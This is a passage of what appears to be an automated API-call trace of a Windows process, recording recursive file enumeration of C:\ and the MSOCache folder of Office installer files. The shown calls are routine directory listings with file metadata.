hHeap=0xab0000) returned 1 [0050.110] FindNextFileW (in: hFindFile=0x4cbfe8, lpFindFileData=0x2caf674 | out: lpFindFileData=0x2caf674*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xa384ad20, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa384ad20, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x7098ee60, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0050.110] GetLastError () returned 0x5 [0050.111] FindNextFileW (in: hFindFile=0x4cbfe8, lpFindFileData=0x2caf674 | out: lpFindFileData=0x2caf674*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xb883f1e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xb883f1e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xb883f1e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0050.111] GetLastError () returned 0x5 [0050.111] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\*" (normalized: "c:\\msocache\\*"), lpFindFileData=0x2caf3f0 | out: lpFindFileData=0x2caf3f0*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xb883f1e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xb883f1e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xb883f1e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName=".", cAlternateFileName="")) returned 0x4c8c78 [0050.112] FindNextFileW (in: hFindFile=0x4c8c78, lpFindFileData=0x2caf3f0 | out: lpFindFileData=0x2caf3f0*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xb883f1e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xb883f1e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xb883f1e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="..", cAlternateFileName="")) returned 1 [0050.112] FindNextFileW (in: hFindFile=0x4c8c78, lpFindFileData=0x2caf3f0 | out: lpFindFileData=0x2caf3f0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xb883f1e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd410fc00, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd410fc00, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0050.112] GetLastError () returned 0x5 [0050.113] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\*" (normalized: "c:\\msocache\\all users\\*"), lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xb883f1e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd410fc00, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd410fc00, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d41a8 [0050.116] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xb883f1e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd410fc00, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd410fc00, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.116] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xb919e880, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xcac49d00, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xcac49d00, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-0011-0000-0000-0000000FF1CE}-C", cAlternateFileName="{90160~2")) returned 1 [0050.116] GetLastError () returned 0x5 [0050.117] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\*" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\*"), lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xb919e880, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xcac49d00, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xcac49d00, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d51f0 [0050.119] FindNextFileW (in: hFindFile=0x4d51f0, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xb919e880, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xcac49d00, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xcac49d00, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.119] FindNextFileW (in: hFindFile=0x4d51f0, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6ce70000, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x6ce70000, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xb91c4210, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x3c3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office64WW.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0050.119] GetLastError () returned 0x5 [0050.119] FindNextFileW (in: hFindFile=0x4d51f0, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x12e83a80, ftCreationTime.dwHighDateTime=0x1d0cbb6, ftLastAccessTime.dwLowDateTime=0x12e83a80, ftLastAccessTime.dwHighDateTime=0x1d0cbb6, ftLastWriteTime.dwLowDateTime=0xb919d110, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x1380, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office64WW.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0050.119] GetLastError () returned 0x5 [0050.119] FindNextFileW (in: hFindFile=0x4d51f0, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf770f620, ftCreationTime.dwHighDateTime=0x1d0cb97, ftLastAccessTime.dwLowDateTime=0xf770f620, ftLastAccessTime.dwHighDateTime=0x1d0cb97, ftLastWriteTime.dwLowDateTime=0xcabfcaa0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x318b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0050.119] GetLastError () returned 0x5 [0050.119] FindNextFileW (in: hFindFile=0x4d51f0, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7d3bac20, ftCreationTime.dwHighDateTime=0x1d0cb96, ftLastAccessTime.dwLowDateTime=0x7d3bac20, ftLastAccessTime.dwHighDateTime=0x1d0cb96, ftLastWriteTime.dwLowDateTime=0xca1b9b60, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x960aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0050.119] GetLastError () returned 0x5 [0050.120] FindNextFileW (in: hFindFile=0x4d51f0, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a23d2d0, ftCreationTime.dwHighDateTime=0x1d0cbc0, ftLastAccessTime.dwLowDateTime=0x3a23d2d0, ftLastAccessTime.dwHighDateTime=0x1d0cbc0, ftLastWriteTime.dwLowDateTime=0xb93d85b0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x1d2ccbc, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW64WW.cab", cAlternateFileName="")) returned 1 [0050.120] GetLastError () returned 0x5 [0050.120] FindNextFileW (in: hFindFile=0x4d51f0, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x870a50a0, ftCreationTime.dwHighDateTime=0x1d0ca7c, ftLastAccessTime.dwLowDateTime=0x870a50a0, ftLastAccessTime.dwHighDateTime=0x1d0ca7c, ftLastWriteTime.dwLowDateTime=0xcac23ba0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x137258, dwReserved0=0x0, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0050.120] GetLastError () returned 0x5 [0050.120] FindNextFileW (in: hFindFile=0x4d51f0, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x16fad80, ftCreationTime.dwHighDateTime=0x1d0ca8d, ftLastAccessTime.dwLowDateTime=0x16fad80, ftLastAccessTime.dwHighDateTime=0x1d0ca8d, ftLastWriteTime.dwLowDateTime=0xcac23ba0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x902bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0050.120] GetLastError () returned 0x5 [0050.120] FindNextFileW (in: hFindFile=0x4d51f0, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x19453d90, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x19453d90, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xbb7ffba0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ba4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusWW.msi", cAlternateFileName="PROPLU~1.MSI")) returned 1 [0050.120] GetLastError () returned 0x5 [0050.120] FindNextFileW (in: hFindFile=0x4d51f0, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x20df7960, ftCreationTime.dwHighDateTime=0x1d0cbb5, ftLastAccessTime.dwLowDateTime=0x20df7960, ftLastAccessTime.dwHighDateTime=0x1d0cbb5, ftLastWriteTime.dwLowDateTime=0xbb7685c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x42d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusWW.xml", cAlternateFileName="PROPLU~1.XML")) returned 1 [0050.121] GetLastError () returned 0x5 [0050.121] FindNextFileW (in: hFindFile=0x4d51f0, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa9bd76f0, ftCreationTime.dwHighDateTime=0x1d0cbc0, ftLastAccessTime.dwLowDateTime=0xa9bd76f0, ftLastAccessTime.dwHighDateTime=0x1d0cbc0, ftLastWriteTime.dwLowDateTime=0xbcba2950, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x13496c5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPsWW.cab", cAlternateFileName="")) returned 1 [0050.121] GetLastError () returned 0x5 [0050.121] FindNextFileW (in: hFindFile=0x4d51f0, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9ecd5a60, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x9ecd5a60, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xc4980430, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0xed9cec7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPsWW2.cab", cAlternateFileName="")) returned 1 [0050.121] GetLastError () returned 0x5 [0050.121] FindNextFileW (in: hFindFile=0x4d51f0, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7e3d3da0, ftCreationTime.dwHighDateTime=0x1d0cb96, ftLastAccessTime.dwLowDateTime=0x7e3d3da0, ftLastAccessTime.dwHighDateTime=0x1d0cb96, ftLastWriteTime.dwLowDateTime=0xca192a60, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x946c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.dll", cAlternateFileName="")) returned 1 [0050.121] GetLastError () returned 0x5 [0050.121] FindNextFileW (in: hFindFile=0x4d51f0, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7f377c20, ftCreationTime.dwHighDateTime=0x1d0cb96, ftLastAccessTime.dwLowDateTime=0x7f377c20, ftLastAccessTime.dwHighDateTime=0x1d0cb96, ftLastWriteTime.dwLowDateTime=0xca192a60, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x39cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0050.121] GetLastError () returned 0x5 [0050.121] FindNextFileW (in: hFindFile=0x4d51f0, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x417c4f10, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x417c4f10, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xcac48590, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x6c86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0050.121] GetLastError () returned 0x5 [0050.121] FindNextFileW (in: hFindFile=0x4d51f0, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x417c4f10, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x417c4f10, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xcac48590, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x6c86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0050.121] FindClose (in: hFindFile=0x4d51f0 | out: hFindFile=0x4d51f0) returned 1 [0050.122] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37d0058 | out: hHeap=0xab0000) returned 1 [0050.122] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd1fe2960, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd2113460, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd2113460, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-0016-0409-0000-0000000FF1CE}-C", cAlternateFileName="{974F5~1")) returned 1 [0050.122] GetLastError () returned 0x12 [0050.122] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0016-0409-0000-0000000FF1CE}-C\\*" (normalized: "c:\\msocache\\all users\\{90160000-0016-0409-0000-0000000ff1ce}-c\\*"), lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd1fe2960, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd2113460, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd2113460, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d51f0 [0050.122] FindNextFileW (in: hFindFile=0x4d51f0, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd1fe2960, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd2113460, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd2113460, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.123] FindNextFileW (in: hFindFile=0x4d51f0, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb87a4fc0, ftCreationTime.dwHighDateTime=0x1d0cbbf, ftLastAccessTime.dwLowDateTime=0xb87a4fc0, ftLastAccessTime.dwHighDateTime=0x1d0cbbf, ftLastWriteTime.dwLowDateTime=0xd2053610, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x58095e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLR.cab", cAlternateFileName="")) returned 1 [0050.123] GetLastError () returned 0x12 [0050.123] FindNextFileW (in: hFindFile=0x4d51f0, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xdfce780, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0xdfce780, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xd1fe0a20, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x247000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.msi", cAlternateFileName="")) returned 1 [0050.123] GetLastError () returned 0x12 [0050.123] FindNextFileW (in: hFindFile=0x4d51f0, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf47c6f70, ftCreationTime.dwHighDateTime=0x1d0cbb1, ftLastAccessTime.dwLowDateTime=0xf47c6f70, ftLastAccessTime.dwHighDateTime=0x1d0cbb1, ftLastWriteTime.dwLowDateTime=0xd1fe0a20, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x6f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.xml", cAlternateFileName="")) returned 1 [0050.123] GetLastError () returned 0x12 [0050.123] FindNextFileW (in: hFindFile=0x4d51f0, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x41a72fa0, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x41a72fa0, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd2111cf0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x9b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0050.123] GetLastError () returned 0x12 [0050.123] FindNextFileW (in: hFindFile=0x4d51f0, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x41a72fa0, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x41a72fa0, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd2111cf0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x9b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0050.123] FindClose (in: hFindFile=0x4d51f0 | out: hFindFile=0x4d51f0) returned 1 [0050.123] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37d0058 | out: hHeap=0xab0000) returned 1 [0050.123] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd33f8300, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd3f92e40, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd3f92e40, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-0018-0409-0000-0000000FF1CE}-C", cAlternateFileName="{9CA7F~1")) returned 1 [0050.123] GetLastError () returned 0x12 [0050.123] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0018-0409-0000-0000000FF1CE}-C\\*" (normalized: "c:\\msocache\\all users\\{90160000-0018-0409-0000-0000000ff1ce}-c\\*"), lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd33f8300, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd3f92e40, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd3f92e40, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d51f0 [0050.201] FindNextFileW (in: hFindFile=0x4d51f0, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd33f8300, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd3f92e40, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd3f92e40, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.201] FindNextFileW (in: hFindFile=0x4d51f0, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x169d4f10, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x169d4f10, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xd33f63c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x247000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.msi", cAlternateFileName="POWERP~1.MSI")) returned 1 [0050.202] GetLastError () returned 0x12 [0050.202] FindNextFileW (in: hFindFile=0x4d51f0, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x34e10110, ftCreationTime.dwHighDateTime=0x1d0cbb3, ftLastAccessTime.dwLowDateTime=0x34e10110, ftLastAccessTime.dwHighDateTime=0x1d0cbb3, ftLastWriteTime.dwLowDateTime=0xd33f63c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x67d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.xml", cAlternateFileName="POWERP~1.XML")) returned 1 [0050.202] GetLastError () returned 0x12 [0050.202] FindNextFileW (in: hFindFile=0x4d51f0, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6902120, ftCreationTime.dwHighDateTime=0x1d0cbc1, ftLastAccessTime.dwLowDateTime=0x6902120, ftLastAccessTime.dwHighDateTime=0x1d0cbc1, ftLastWriteTime.dwLowDateTime=0xd34445c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x6048ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="PptLR.cab", cAlternateFileName="")) returned 1 [0050.202] GetLastError () returned 0x12 [0050.203] FindNextFileW (in: hFindFile=0x4d51f0, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x426d17b0, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x426d17b0, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd3f916d0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x818, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0050.203] GetLastError () returned 0x12 [0050.203] FindNextFileW (in: hFindFile=0x4d51f0, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x426d17b0, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x426d17b0, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd3f916d0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x818, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0050.203] FindClose (in: hFindFile=0x4d51f0 | out: hFindFile=0x4d51f0) returned 1 [0050.203] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37d0058 | out: hHeap=0xab0000) returned 1 [0050.203] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd3f92e40, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd410fc00, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd410fc00, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, 